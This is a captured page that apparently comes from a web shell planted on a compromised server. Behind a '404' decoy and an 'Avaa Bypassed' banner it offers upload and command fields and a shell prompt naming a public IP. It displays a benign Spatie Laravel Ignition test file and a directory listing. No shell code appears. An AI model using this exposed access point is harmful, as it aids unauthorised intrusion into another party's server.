404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.128.78.221: ~ $
<?php

use Illuminate\Foundation\Auth\User;
use Spatie\Ignition\Contracts\BaseSolution;
use Spatie\Ignition\Solutions\SolutionProviders\BadMethodCallSolutionProvider;
use Spatie\Ignition\Solutions\SolutionProviders\SolutionProviderRepository;
use Spatie\LaravelIgnition\Solutions\SolutionProviders\MissingAppKeySolutionProvider;
use Spatie\LaravelIgnition\Tests\Exceptions\AlwaysFalseSolutionProvider;
use Spatie\LaravelIgnition\Tests\Exceptions\AlwaysTrueSolutionProvider;

it('returns possible solutions', function () {
    $repository = new SolutionProviderRepository();

    $repository->registerSolutionProvider(AlwaysTrueSolutionProvider::class);
    $repository->registerSolutionProvider(AlwaysFalseSolutionProvider::class);

    $solutions = $repository->getSolutionsForThrowable(new Exception());

    $this->assertNotNull($solutions);
    expect($solutions)->toHaveCount(1);
    expect($solutions[0] instanceof BaseSolution)->toBeTrue();
});

it('returns possible solutions when registered together', function () {
    $repository = new SolutionProviderRepository();

    $repository->registerSolutionProviders([
        AlwaysTrueSolutionProvider::class,
        AlwaysFalseSolutionProvider::class,
    ]);

    $solutions = $repository->getSolutionsForThrowable(new Exception());

    $this->assertNotNull($solutions);
    expect($solutions)->toHaveCount(1);
    expect($solutions[0] instanceof BaseSolution)->toBeTrue();
});

it('can suggest bad method call exceptions', function () {
    if (version_compare(app()->version(), '5.6.3', '<')) {
        $this->markTestSkipped('Laravel version < 5.6.3 do not support bad method call solutions');
    }

    try {
        collect([])->faltten();
    } catch (Exception $exception) {
        $solution = new BadMethodCallSolutionProvider();

        expect($solution->canSolve($exception))->toBeTrue();
    }
});

it('can propose a solution for bad method call exceptions on collections', function () {
    try {
        collect([])->frist(fn ($item) => null);
    } catch (Exception $exception) {
        $solution = new BadMethodCallSolutionProvider();

        expect($solution->getSolutions($exception)[0]->getSolutionDescription())->toBe('Did you mean Illuminate\Support\Collection::first() ?');
    }
});

it('can propose a solution for bad method call exceptions on models', function () {
    try {
        $user = new User();
        $user->sarve();
    } catch (Exception $exception) {
        $solution = new BadMethodCallSolutionProvider();

        expect($solution->getSolutions($exception)[0]->getSolutionDescription())->toBe('Did you mean Illuminate\Foundation\Auth\User::save() ?');
    }
});

it('can propose a solution for missing app key exceptions', function () {
    $exception = new RuntimeException('No application encryption key has been specified.');

    $solution = new MissingAppKeySolutionProvider();

    expect($solution->getSolutions($exception)[0]->getSolutionActionDescription())->toBe('Generate your application encryption key using `php artisan key:generate`.');
});

Filemanager

Name Type Size Permission Actions
Commands Folder 0755
Context Folder 0755
ContextProviders Folder 0755
Exceptions Folder 0755
FlareMiddleware Folder 0755
Http Folder 0755
LogRecorder Folder 0755
Mocks Folder 0755
QueryRecorder Folder 0755
Recorders Folder 0755
Solutions Folder 0755
Support Folder 0755
TestClasses Folder 0755
Views Folder 0755
stubs Folder 0755
ErrorPageViewModelTest.php File 665 B 0644
ExceptionSolutionTest.php File 3.07 KB 0644
FlareTest.php File 956 B 0644
HelpersTest.php File 103 B 0644
IgnitionConfigTest.php File 1.39 KB 0644
LogTest.php File 4.29 KB 0644
Pest.php File 92 B 0644
RenderIgnitionPageTest.php File 915 B 0644
TestCase.php File 1.75 KB 0644